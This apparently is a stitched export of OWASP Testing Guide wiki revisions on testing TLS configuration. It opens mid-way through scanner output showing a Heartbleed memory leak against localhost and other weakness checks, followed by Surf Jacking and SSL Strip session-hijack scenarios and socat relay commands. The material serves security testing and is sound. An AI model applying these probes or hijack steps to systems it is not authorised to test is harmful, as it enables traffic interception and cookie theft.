0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.2<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
<br />
<br />
[!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in http://heartbleed.com/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Loading module: CCS Injection script by TripWire VERT ...<br />
<br />
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug (CVE-2014-0224) ...<br />
<br />
[!] The target may allow early CCS on TLSv1.2<br />
[!] The target may allow early CCS on TLSv1.1<br />
[!] The target may allow early CCS on TLSv1<br />
[!] The target may allow early CCS on SSLv3<br />
<br />
<br />
[-] This is an experimental detection script and does not definitively determine vulnerable server status.<br />
<br />
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/<br />
[!] Vulnerability Status: Possible<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP Compression support against BREACH vulnerability (CVE-2013-3587) ...<br />
<br />
[*] HTTP Compression: DISABLED<br />
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for correct use of Strict Transport Security (STS) response header (RFC6797) ...<br />
<br />
[!] STS response header: NOT PRESENT<br />
[!] Vulnerable to MITM threats mentioned in https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
--------------- RAW HTTP RESPONSE ---------------<br />
<br />
HTTP/1.1 302 Found<br />
Date: Sat, 19 Jul 2014 17:54:32 GMT<br />
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7<br />
X-Powered-By: PHP/5.4.7<br />
Location: https://localhost/xampp/<br />
Content-Length: 0<br />
Connection: close<br />
Content-Type: text/html<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost for HTTP support against HTTPS Stripping attack ...<br />
<br />
[!] HTTP Support on port [80] : SUPPORTED<br />
[!] Vulnerable to HTTPS Stripping attack mentioned in https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for HTTP elements embedded in SSL page ...<br />
<br />
[*] HTTP elements embedded in SSL page: NOT PRESENT<br />
[*] Immune from MITM malicious content injection attack<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ROBUST use of anti-caching mechanism ...<br />
<br />
[!] Cache Control Directives: NOT PRESENT<br />
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive information will be leaked.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
-------------------------------------------------<br />
<br />
<br />
Robust Solution (Is it Troublesome for you to add more things for your site security?):<br />
<br />
- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0, max-age=0, s-maxage=0<br />
- Ref: https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OWASP-AT-007)<br />
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY support ...<br />
<br />
[*] Forward Secrecy: SUPPORTED<br />
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA on protocol - TLSv1<br />
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have compromised private keys.<br />
[*] Vulnerability Status: No<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for RC4 support (CVE-2013-2566) ...<br />
<br />
[!] RC4: SUPPORTED<br />
[!] Vulnerable to MITM attack described in http://www.isg.rhul.ac.uk/tls/<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No<br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 27 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
* [99][breacher.sh|http://bl0g.yehg.net/2014/07/ssl-breacher-yet-another-ssl-test-tool.html]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179065Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-21T13:55:38Z<p>D0ubl3 h3lix: /* References */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
